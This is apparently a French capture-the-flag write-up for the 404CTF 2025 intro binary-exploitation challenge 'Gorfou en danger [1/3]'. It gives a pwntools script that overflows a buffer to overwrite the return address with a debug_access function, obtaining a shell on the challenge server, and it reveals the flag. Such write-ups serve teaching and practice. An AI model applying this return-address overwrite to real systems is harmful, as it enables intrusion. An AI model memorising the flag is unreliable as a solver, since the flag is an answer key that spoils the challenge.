> For the complete documentation index, see [llms.txt](https://writeups.ayweth20.com/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://writeups.ayweth20.com/2025/404ctf-2025/exploitation-de-binaires/gorfou-en-danger-1-3.md).

# Gorfou en danger \[1/3]

**Catégorie:** Exploitation de binaires - **Difficulté:** Intro

{% file src="/files/guR3aA5Lqoi1mrDkCr9k" %}

**Description:**

<figure><img src="https://4219205392-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fybn4btwQnvitOl9uXz9p%2Fuploads%2FvypZtDtxMuJngdhWEp0P%2Fimage.png?alt=media&amp;token=d4da2b35-2857-4ab7-bf00-1cc74c36d636" alt=""><figcaption></figcaption></figure>

Solution:

Voici le script afin d'exploiter la vulnérabilité :&#x20;

```python
from pwn import *

elf = ELF('./chall')  # Optionnel mais utile pour avoir les symboles locaux

debug_addr = elf.symbols['debug_access']
print(f"Adresse de debug_access: {hex(debug_addr)}")

# Connexion distante au challenge
p = remote('challenges.404ctf.fr', 32462)

# Construction du payload
payload = b"A" * 0x100
payload += b"B" * 8
payload += p64(debug_addr)

# Envoi du payload
p.sendline(payload)

# Interactif pour interagir avec le shell
p.interactive()
```

Lorsque nous lançons ce script, il nous permets d'avoir un shell sur le serveur distant :&#x20;

<figure><img src="https://4219205392-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fybn4btwQnvitOl9uXz9p%2Fuploads%2FcMhDzlqsAv5ImJ5zz1Fj%2Fimage.png?alt=media&amp;token=70a16f93-c40a-46d4-8725-dd503e2890fc" alt=""><figcaption></figcaption></figure>

<details>

<summary>🚩FLAG</summary>

`404CTF{c@n_7He_GoRF0u_F1y_?}`

</details>